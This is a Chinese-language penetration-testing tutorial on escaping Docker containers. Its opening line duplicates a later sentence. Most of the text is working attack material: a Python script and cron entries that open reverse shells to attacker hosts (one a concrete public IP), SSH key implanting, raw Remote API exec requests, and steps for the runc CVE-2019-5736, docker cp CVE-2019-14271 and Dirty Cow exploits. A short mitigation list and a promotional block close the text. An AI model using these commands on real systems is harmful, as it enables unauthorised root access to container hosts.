基于网络安全的Docker逃逸
这段shellcode初始化的时候会检查是否被root调用,如果是则继续执行,如果不是,则接着执行clock_gettime函数,接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。主从管理、默认通过2375端口通信。上面命令的含义是进入test这个容器,当宿主机上执行exec命令来进入
如何判断当前机器是否为Docker容器环境
Metasploit中的checkcontainer模块、(判断是否为虚拟机,checkvm模块)
1. 检查根目录下是否存在.dockerenv文件
2. 检查/proc/1/cgroup是否存在还有docker字符串
cat /proc/1/cgroup
3. 检查是否存在container环境变量
通过env\PATH来检查是否有docker相关的环境变量,来进一步判断
4. 其他检测方式
如检测mount、fdisk -l查看硬盘、判断PID 1的进程名等也可用来辅助判断
Docker逃逸方式
1. 危险的配置导致Docker逃逸
由于"纵深防御" 和 "最小权限"等理念和原则落地,越来越难以直接利用漏洞来进行利用。另一方面,公开的漏洞,安全运维人员能够及时将其修复,当然,不免存在漏网之鱼。相反,更多的是利用错误的、危险的配置来进行利用,不仅仅Docker逃逸,其他漏洞也是,比如生产环境开启Debug模式导致漏洞利用等等。
Docker已经将容器运行时的Capabilities黑名单机制改为如今的默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限
docket remote api未授权访问导致逃逸
docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker
Docker Remote API的端口2375端口
火狐打开如下,证明存在未授权访问漏洞
在kali上开启nc监听本地端口,用来接收反弹shell
反弹Shell exp:
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
执行脚本,shell会反弹到kali主机上
Github上的exp:https://github.com/Tycx2ry/docker_api_vul
另一种方式
首先访问http://your-ip:2375/version
访问http://ip:2375/containers/json
创建一个包,得到返回的exec_id的参数,数据包内容如下:
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}
注意其中的cmd字段,这个就是要执行的命令。
得到exec_id参数后构造第二个exec_start数据包,内容如下
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
“Detach”: false,
“Tty”: false
}
到此成功获取到docker主机的命令执行权限,但是还没有逃逸到宿主机
在docker容器中安装docker做为client(kali中有的话就不需要了)
apt-get install docker.io`
`yum -y install docker
查看宿主机的docker image信息
docker -H tcp://宿主机ip:2375 images
启动一个容器并且将宿主机的根目录装到容器内的某个目录
docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash
上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下
写一个计划任务反弹shell(或者写.ssh公钥都OK)
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
在vps上使用nc命令等待反弹过来的shellnc -lvp 8888
Docker高危启动参数–privileged 特权模式启动容器
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
特权模式启动一个Ubuntu容器:
sudo docker run -itd --privileged ubuntu:latest /bin/bash
进入容器
使用fdisk命令查看磁盘文件:
fdisk -l
在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。
mkdir /test
mount /dev/vda1 /test
新建一个目录:mkdir /test 挂载磁盘到新建目录:mount /dev/vda1 /test 切换根目录:chroot /test 到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多)
写计划任务,反弹宿主机Shell。
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
如果要写SSH的话,需要挂载宿主机的root目录到容器。
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys
然后ssh 私钥登录。
其他参数: Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。
--cap-add=SYS_ADMIN
启动时,允许执行mount特权操作,需获得资源挂载进行利用
--net=host
启动时,绕过Network Namespace
--pid=host
启动时,绕过PID Namespace
--ipc=host
启动时,绕过IPC Namespace
2. 危险挂载导致Docker逃逸
挂载目录(-v /:/soft)
docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash
挂载Docker Socket
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:
-
unix:///var/run/docker.sock(默认
-
tcp://host:port
-
fd://socketfd
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。
逃逸复现:
-
首先创建一个容器并挂载
/var/run/docker.sock; docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
-
在该容器内安装Docker命令行客户端;
apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg)| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64] [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/)\ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io
-
接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部;docker run -it -v /:/host ubuntu:18.04 /bin/bash
-
在新容器内执行chroot将根目录切换到挂载的宿主机根目录。 已成功逃逸到宿主机。
挂载宿主机procfs
docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
为了区分,挂载到容器的/host/目录下
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时
从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
Docker默认情况下不会为容器开启User Namespace根据参考资料1,一般情况下不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有。 一些细节原理看参考资料1哈,这里专注于利用。 复现:“在挂载procfs的容器内利用core_pattern后门实现逃逸“ 利用思路:攻击者进入到挂载了宿主机profs的容器,root权限,然后向宿主机的procfs写Payload
3. 程序漏洞导致Docker逃逸
runC容器逃逸漏洞CVE-2019-5736
漏洞简述:
Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
即通过在docker容器中重写和运行主机系统的runc二进制文件达到逃逸的目的 利用条件: Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况。
利用步骤:
版本合适的情况下去尝试
首先我们要有一个docker下的shell,第二步利用脚本中的反弹shell命令,第三步使用go build来编译脚本,第四步将脚本上传到docker中,第五步等待宿主机执行exec进入当前docker容器的时候,宿主机就会向我们的vps反弹root权限的shell
下载pocgit clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
PoC修改Payloadvi main.go
选中部分修改\n后面的命令为反弹shell命令即可payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"
编译生成payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
拷贝到docker容器中执行sudo docker cp ./main 248f8b7d3c45:/tmp
也可以先上传到github上,用git clone命令下载。或者上传到vps上,然后在vps上用python开启一个http服务,再用wget下载即可
执行此脚本,然后等待宿主机用户进入这个容器中
docker exec -it test /bin/bash
上面命令的含义是进入test这个容器,当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。
如果没有人在宿主机执行的话是无法docker逃逸的
Docker cp命令容器逃逸攻击漏洞CVE-2019-14271
漏洞描述:
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。 影响版本: Docker 19.03.0
漏洞原理
Copy命令允许从容器复制文件。复制文件到容器以及在容器之间复制文件。它的语法和标准Unix的cp命令非常相似。如果从容器中复制/var/logs/,需要使用的语法为:
docker cp container_name:/var/logs /some/host/path.
把文件复制到容器外,docker需要借助一个名为docker-tar
的帮助进程
docker-tar
的工作原理是对文件进行chroot,将请求的文件和目录放在其中,然后将其生成的tar文件传递回Docker的守护程序,该守护程序负责将其提取到宿主机的目标目录中。
CHROOT
就是Change Root
,也就是改变程序执行时所参考的根目录位置
Docker-tar chroot进入容器:
选择chroot的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp
在宿主机而非容器上读取和写入文件
有漏洞的版本使用Go v1.11编译而成的
这个版本中的一些包含嵌入式C语言代码的软件包(cgo)在运行时会加载动态共享库
这些软件包包括net
和os/user
,都会被docker-tar
使用,它们会在运行时加载多个libnss_*.so
库。
通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar
会chroots
到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar
将加载并执行由容器发起和控制的代码。
需要说明的是,除了被chroot
到容器文件系统之外,docker-tar
并没有被容器化。它运行在宿主机的命名空间中,具有所有root能力,并且不会受到cgroups或seccomp的限制。
有一种可能的攻击场景,是Docker用户从以下任一用户的位置复制一些文件:
-
运行包含恶意
libnss_*.so
库中恶意映像的容器; -
受到攻击的容器,且攻击者替换了其中的
libnss_*.so
库
在这两种情况时,攻击者都可以在宿主机上实现root权限的任意代码执行。
利用思路
-
找出docker-tar具体会加载那些容器内的动态链接库
-
下载对应动态链接库源码,为其增加一个attribute((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先被执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接文件
-
编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器,等待用户执行docker cp命令,触发漏洞
4. Dirty Cow内核漏洞导致Docker逃逸
Dirty Cow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸
前置知识
-
VDSO其实就是将内核中的.so文件映射到内存中,.so文件是基于Linux下的动态链接,其功能和作用类似于Windows下的.dll文件
-
在Linux中,有一个功能:VDSO(virtual dvnamic shared object),这是一个小型共享库,能够将内核自动映射到所有用户程序的地址空间,可以理解成将内核中的函数映射到内存中,方便大家访问
Dirty cow漏洞可以让我们获取只读内存的写的权限,我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。这段shellcode初始化的时候会检查是否被root调用,如果是则继续执行,如果不是,则接着执行clock_gettime函数,接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。
//这种利用方法利用成功的前提是,宿主机的内核有Dirty Cow漏洞
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。
利用过程
下载脚本
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
利用结果
直接反弹宿主机的shell到127.0.0.1
docker 逃逸成功
防止docker逃逸的方法
1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
#总结
Docker逃逸在渗透测试中面向的场景大概是这样,渗透拿到shell后,发现主机是docker环境,要进一步渗透,就必须逃逸到“直接宿主机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。所以本文给大家介绍的就是如何判断当前环境是否为docker容器环境,其次通过几种方式进行docker逃逸
更多推荐
所有评论(0)